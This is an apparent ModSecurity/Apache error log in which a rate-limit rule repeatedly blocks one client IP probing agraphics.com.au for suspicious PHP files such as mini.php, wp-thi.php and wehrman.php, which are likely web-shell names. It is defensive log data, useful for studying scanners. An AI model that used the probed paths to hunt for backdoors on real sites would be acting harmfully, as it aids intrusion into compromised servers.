[Tue May 26 22:34:50.739744 2026] [:error] [pid 43701:tid 43726] [client 20.63.34.22:13925] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ahWvioWtVI_UGrhtwKAe0QAAAVc"]
[Tue May 26 22:34:51.245042 2026] [:error] [pid 33886:tid 33915] [client 20.63.34.22:13715] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ahWvi7BYzgp5rPVdHcW_qQAAAFg"]
[Tue May 26 22:34:51.723024 2026] [:error] [pid 43701:tid 43719] [client 20.63.34.22:13948] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ahWvi4WtVI_UGrhtwKAe1AAAAVA"]
[Tue May 26 22:34:52.228055 2026] [:error] [pid 43701:tid 43708] [client 20.63.34.22:13929] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "ahWvjIWtVI_UGrhtwKAe1wAAAUU"]
[Tue May 26 22:34:52.697469 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:13707] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "ahWvjIWtVI_UGrhtwKAe2gAAAUc"]
[Tue May 26 22:34:53.229200 2026] [:error] [pid 33977:tid 33981] [client 20.63.34.22:13704] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "ahWvje9cnSDNAU9sYPgarAAAAAE"]
[Tue May 26 22:34:53.670125 2026] [:error] [pid 43701:tid 43705] [client 20.63.34.22:13895] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "ahWvjYWtVI_UGrhtwKAe3AAAAUI"]
[Tue May 26 22:34:54.251116 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:13924] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ahWvjoWtVI_UGrhtwKAe4AAAAVY"]
[Tue May 26 22:34:54.810166 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13709] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ahWvjoWtVI_UGrhtwKAe4wAAAUg"]
[Tue May 26 22:34:55.291515 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:13712] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ahWvj4WtVI_UGrhtwKAe5wAAAUk"]
[Tue May 26 22:34:55.873325 2026] [:error] [pid 33887:tid 33920] [client 20.63.34.22:13910] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ahWvj9COI_FV7meOxGdY3AAAAIE"]
[Tue May 26 22:34:57.414795 2026] [:error] [pid 33977:tid 33980] [client 20.63.34.22:13934] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atkno.php"] [unique_id "ahWvke9cnSDNAU9sYPgarQAAAAA"]
[Tue May 26 22:34:58.523396 2026] [:error] [pid 36497:tid 36526] [client 20.63.34.22:13696] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atkno.php"] [unique_id "ahWvkrjKQWM1gBmBY4hIdAAAANA"]
[Tue May 26 22:34:59.267375 2026] [:error] [pid 43701:tid 43716] [client 20.63.34.22:13927] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atkno.php"] [unique_id "ahWvk4WtVI_UGrhtwKAe8QAAAU0"]
[Tue May 26 22:34:59.843293 2026] [:error] [pid 33977:tid 33988] [client 20.63.34.22:13644] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atkno.php"] [unique_id "ahWvk-9cnSDNAU9sYPgasgAAAAg"]
[Tue May 26 22:35:00.304192 2026] [:error] [pid 33977:tid 34001] [client 20.63.34.22:13900] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ahWvlO9cnSDNAU9sYPgatQAAABU"]
[Tue May 26 22:35:00.816058 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13716] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ahWvlIWtVI_UGrhtwKAe-AAAAUg"]
[Tue May 26 22:35:01.326785 2026] [:error] [pid 43701:tid 43708] [client 20.63.34.22:13911] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ahWvlYWtVI_UGrhtwKAe-wAAAUU"]
[Tue May 26 22:35:01.756945 2026] [:error] [pid 33977:tid 33981] [client 20.63.34.22:13920] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ahWvle9cnSDNAU9sYPgauQAAAAE"]
[Tue May 26 22:35:02.225899 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:13945] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-thi.php"] [unique_id "ahWvloWtVI_UGrhtwKAe_QAAAUQ"]
[Tue May 26 22:35:02.660468 2026] [:error] [pid 36497:tid 36511] [client 20.63.34.22:13950] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-thi.php"] [unique_id "ahWvlrjKQWM1gBmBY4hIeAAAAME"]
[Tue May 26 22:35:03.117534 2026] [:error] [pid 36497:tid 36525] [client 20.63.34.22:13889] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-thi.php"] [unique_id "ahWvl7jKQWM1gBmBY4hIfAAAAM8"]
[Tue May 26 22:35:03.634189 2026] [:error] [pid 33888:tid 33957] [client 20.63.34.22:13703] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-thi.php"] [unique_id "ahWvlzqzTeoxiinZsGEvMwAAAQs"]
[Tue May 26 22:35:04.329985 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13908] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ahWvmIWtVI_UGrhtwKAfBQAAAUg"]
[Tue May 26 22:35:04.863220 2026] [:error] [pid 36497:tid 36512] [client 20.63.34.22:13912] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ahWvmLjKQWM1gBmBY4hIfwAAAMI"]
[Tue May 26 22:35:05.401251 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:13951] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ahWvme9cnSDNAU9sYPgawAAAABQ"]
[Tue May 26 22:35:05.963726 2026] [:error] [pid 33977:tid 33984] [client 20.63.34.22:13717] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ahWvme9cnSDNAU9sYPgawQAAAAQ"]
[Tue May 26 22:35:06.727225 2026] [:error] [pid 43701:tid 43727] [client 20.63.34.22:13722] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ahWvmoWtVI_UGrhtwKAfBgAAAVg"]
[Tue May 26 22:35:07.349665 2026] [:error] [pid 33977:tid 33995] [client 20.63.34.22:13711] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ahWvm-9cnSDNAU9sYPgawgAAAA8"]
[Tue May 26 22:35:08.103978 2026] [:error] [pid 36497:tid 36529] [client 20.63.34.22:13914] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ahWvnLjKQWM1gBmBY4hIigAAANM"]
[Tue May 26 22:35:08.562624 2026] [:error] [pid 33886:tid 33903] [client 20.63.34.22:13890] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ahWvnLBYzgp5rPVdHcW_vAAAAEw"]
[Tue May 26 22:35:09.058620 2026] [:error] [pid 33886:tid 33900] [client 20.63.34.22:13907] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wehrman.php"] [unique_id "ahWvnbBYzgp5rPVdHcW_vgAAAEk"]
[Tue May 26 22:35:09.805657 2026] [:error] [pid 33886:tid 33896] [client 20.63.34.22:13915] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wehrman.php"] [unique_id "ahWvnbBYzgp5rPVdHcW_wwAAAEU"]
[Tue May 26 22:35:10.351835 2026] [:error] [pid 33888:tid 33965] [client 20.63.34.22:13918] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wehrman.php"] [unique_id "ahWvnjqzTeoxiinZsGEvOgAAARM"]
[Tue May 26 22:35:11.101297 2026] [:error] [pid 33887:tid 33925] [client 20.63.34.22:13701] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wehrman.php"] [unique_id "ahWvn9COI_FV7meOxGdY6gAAAIY"]
[Tue May 26 22:35:11.922155 2026] [:error] [pid 33887:tid 33941] [client 20.63.34.22:13946] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ahWvn9COI_FV7meOxGdY7QAAAJY"]
[Tue May 26 22:35:12.529872 2026] [:error] [pid 33886:tid 33900] [client 20.63.34.22:13947] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ahWvoLBYzgp5rPVdHcW_zwAAAEk"]
[Tue May 26 22:35:13.813575 2026] [:error] [pid 33977:tid 33991] [client 20.63.34.22:13747] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ahWvoe9cnSDNAU9sYPgazwAAAAs"]
[Tue May 26 22:35:14.734124 2026] [:error] [pid 33886:tid 33909] [client 20.63.34.22:13714] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ahWvorBYzgp5rPVdHcW_0QAAAFI"]
[Tue May 26 22:35:15.383127 2026] [:error] [pid 43701:tid 43708] [client 20.63.34.22:13916] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sing.php"] [unique_id "ahWvo4WtVI_UGrhtwKAfCwAAAUU"]
[Tue May 26 22:35:15.850213 2026] [:error] [pid 33977:tid 33982] [client 20.63.34.22:13902] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sing.php"] [unique_id "ahWvo-9cnSDNAU9sYPga2AAAAAI"]
[Tue May 26 22:35:16.371689 2026] [:error] [pid 36497:tid 36510] [client 20.63.34.22:13702] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sing.php"] [unique_id "ahWvpLjKQWM1gBmBY4hImAAAAMA"]
[Tue May 26 22:35:16.854134 2026] [:error] [pid 43701:tid 43727] [client 20.63.34.22:13733] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sing.php"] [unique_id "ahWvpIWtVI_UGrhtwKAfDQAAAVg"]
[Tue May 26 22:35:17.390428 2026] [:error] [pid 33886:tid 33914] [client 20.63.34.22:13723] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ahWvpbBYzgp5rPVdHcW_1QAAAFc"]
[Tue May 26 22:35:17.819854 2026] [:error] [pid 33886:tid 33912] [client 20.63.34.22:13738] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ahWvpbBYzgp5rPVdHcW_1gAAAFU"]
[Tue May 26 22:35:18.357609 2026] [:error] [pid 43701:tid 43703] [client 20.63.34.22:13892] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ahWvpoWtVI_UGrhtwKAfDwAAAUA"]
[Tue May 26 22:35:18.812436 2026] [:error] [pid 33888:tid 33955] [client 20.63.34.22:13928] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ahWvpjqzTeoxiinZsGEvOwAAAQk"]
[Tue May 26 22:35:19.509205 2026] [:error] [pid 33886:tid 33904] [client 20.63.34.22:13926] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ahWvp7BYzgp5rPVdHcW_2AAAAE0"]
[Tue May 26 22:35:20.085997 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:13641] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ahWvqIWtVI_UGrhtwKAfGAAAAUk"]
[Tue May 26 22:35:20.709077 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:13741] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ahWvqO9cnSDNAU9sYPga5gAAABQ"]
[Tue May 26 22:35:21.360201 2026] [:error] [pid 33977:tid 33984] [client 20.63.34.22:13939] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ahWvqe9cnSDNAU9sYPga6gAAAAQ"]
[Tue May 26 22:35:21.856063 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:13937] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ahWvqYWtVI_UGrhtwKAfIwAAAVY"]
[Tue May 26 22:35:22.480008 2026] [:error] [pid 43701:tid 43721] [client 20.63.34.22:13735] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ahWvqoWtVI_UGrhtwKAfJAAAAVI"]
[Tue May 26 22:35:22.919277 2026] [:error] [pid 33886:tid 33898] [client 20.63.34.22:13744] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ahWvqrBYzgp5rPVdHcW_3gAAAEc"]
[Tue May 26 22:35:23.356063 2026] [:error] [pid 33886:tid 33915] [client 20.63.34.22:13705] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ahWvq7BYzgp5rPVdHcW_4AAAAFg"]
[Tue May 26 22:35:23.814273 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13899] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ahWvq4WtVI_UGrhtwKAfKAAAAUg"]
